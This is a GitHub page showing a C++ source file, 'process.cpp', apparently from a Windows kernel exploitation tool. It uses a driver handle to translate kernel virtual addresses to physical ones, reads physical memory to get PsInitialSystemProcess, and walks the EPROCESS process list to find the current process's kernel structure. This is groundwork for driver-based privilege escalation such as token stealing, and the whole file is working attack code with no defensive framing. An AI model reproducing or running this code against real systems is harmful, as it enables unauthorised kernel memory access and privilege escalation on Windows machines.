-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathprocess.cpp
More file actions
68 lines (53 loc) · 2.72 KB
/
Copy pathprocess.cpp
File metadata and controls
68 lines (53 loc) · 2.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include "process.hpp"
namespace process {
uintptr_t PsInitialSystemProcess(HANDLE driver) {
uintptr_t NtOs = virtual_memory::NtoskrnlBaseAddress();
if (!NtOs) {
std::cout << "[-] Failed to get Nt\n";
return -1;
}
// Locating PsInitialSystemProcess address
HMODULE hModule = LoadLibrary(L"ntoskrnl.exe");
uintptr_t PsInitialSystemProcessOffset = reinterpret_cast<uintptr_t>(GetProcAddress(hModule, "PsInitialSystemProcess"))
- reinterpret_cast<uintptr_t>(hModule);
uintptr_t PsGetCurrentProcessOffset = reinterpret_cast<uintptr_t>(GetProcAddress(hModule, "PsGetCurrentProcess"))
- reinterpret_cast<uintptr_t>(hModule);
FreeLibrary(hModule);
std::cout << std::endl;
uintptr_t PsInitialSystemProcessAddress = NtOs + PsInitialSystemProcessOffset;
//std::cout << "[+] PsInitialSystemProcess Address : 0x" << std::hex << PsInitialSystemProcessAddress << std::endl;
converted_address = virtual_memory::convert_virtual_to_physical(driver, pml4Base, PsInitialSystemProcessAddress);
read_data = memory::read_physical_memory(driver, converted_address, &buffer, sizeof(uintptr_t));
//std::cout << "[+] PsInitialSystemProcess : 0x" << std::hex << buffer << std::endl;
std::cout << std::endl;
return buffer;
}
uintptr_t PsGetCurrentProcess(HANDLE driver) {
uintptr_t pEPROCESS = PsInitialSystemProcess(driver);
// walk ActiveProcessLinks until we find our pid
LIST_ENTRY ActiveProcessLinks;
converted_address = virtual_memory::convert_virtual_to_physical(driver, pml4Base, pEPROCESS + UniqueProcessIdOffset + sizeof(DWORD64));
read_data = memory::read_physical_memory(driver, converted_address, &ActiveProcessLinks, sizeof(LIST_ENTRY));
uintptr_t res = 0x0;
while (TRUE) {
DWORD64 UniqueProcessId = 0;
// adjust EPROCESS pointer for next entry
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - UniqueProcessIdOffset - sizeof(DWORD64);
// get pid
converted_address = virtual_memory::convert_virtual_to_physical(driver, pml4Base, pEPROCESS + UniqueProcessIdOffset);
read_data = memory::read_physical_memory(driver, converted_address, &UniqueProcessId, sizeof(DWORD64));
// is this our pid?
if (GetCurrentProcessId() == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
converted_address = virtual_memory::convert_virtual_to_physical(driver, pml4Base, pEPROCESS + UniqueProcessIdOffset + sizeof(uintptr_t));
read_data = memory::read_physical_memory(driver, converted_address, &ActiveProcessLinks, sizeof(LIST_ENTRY));
// if next is the same as last, we reached the end
if (pEPROCESS == (DWORD64)(ActiveProcessLinks.Flink) - UniqueProcessIdOffset - sizeof(DWORD64))
break;
}
return res;
}
}